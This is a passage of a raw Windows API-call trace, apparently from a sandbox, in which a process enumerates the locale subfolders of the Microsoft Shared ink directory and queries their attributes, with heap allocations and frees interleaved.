[0047.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.776] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.776] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0047.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.777] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.777] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.777] NtClose (Handle=0x170) returned 0x0 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.777] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.777] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.777] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9960 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8f88 [0047.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x480) returned 0xed7330 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee94a0) returned 1 [0047.777] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.777] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.778] GetLastError () returned 0x12 [0047.778] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.778] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.778] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.778] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.778] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.778] GetLastError () returned 0x12 [0047.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.778] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.778] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0047.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.779] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.779] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.779] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.779] NtClose (Handle=0x17c) returned 0x0 [0047.779] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.779] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.779] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.779] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.779] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.779] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9980 [0047.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee9090 [0047.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.780] GetLastError () returned 0x12 [0047.780] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.780] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.780] GetLastError () returned 0x12 [0047.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.780] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.780] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0047.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.781] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeea0e8 [0047.781] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeea0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeea0e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.781] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea0e8) returned 1 [0047.781] NtClose (Handle=0x170) returned 0x0 [0047.781] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0047.781] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.781] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.781] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.781] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.781] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.781] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee99a0 [0047.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee9198 [0047.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.782] GetLastError () returned 0x12 [0047.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.782] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.782] GetLastError () returned 0x12 [0047.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0047.782] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0047.782] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0047.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, 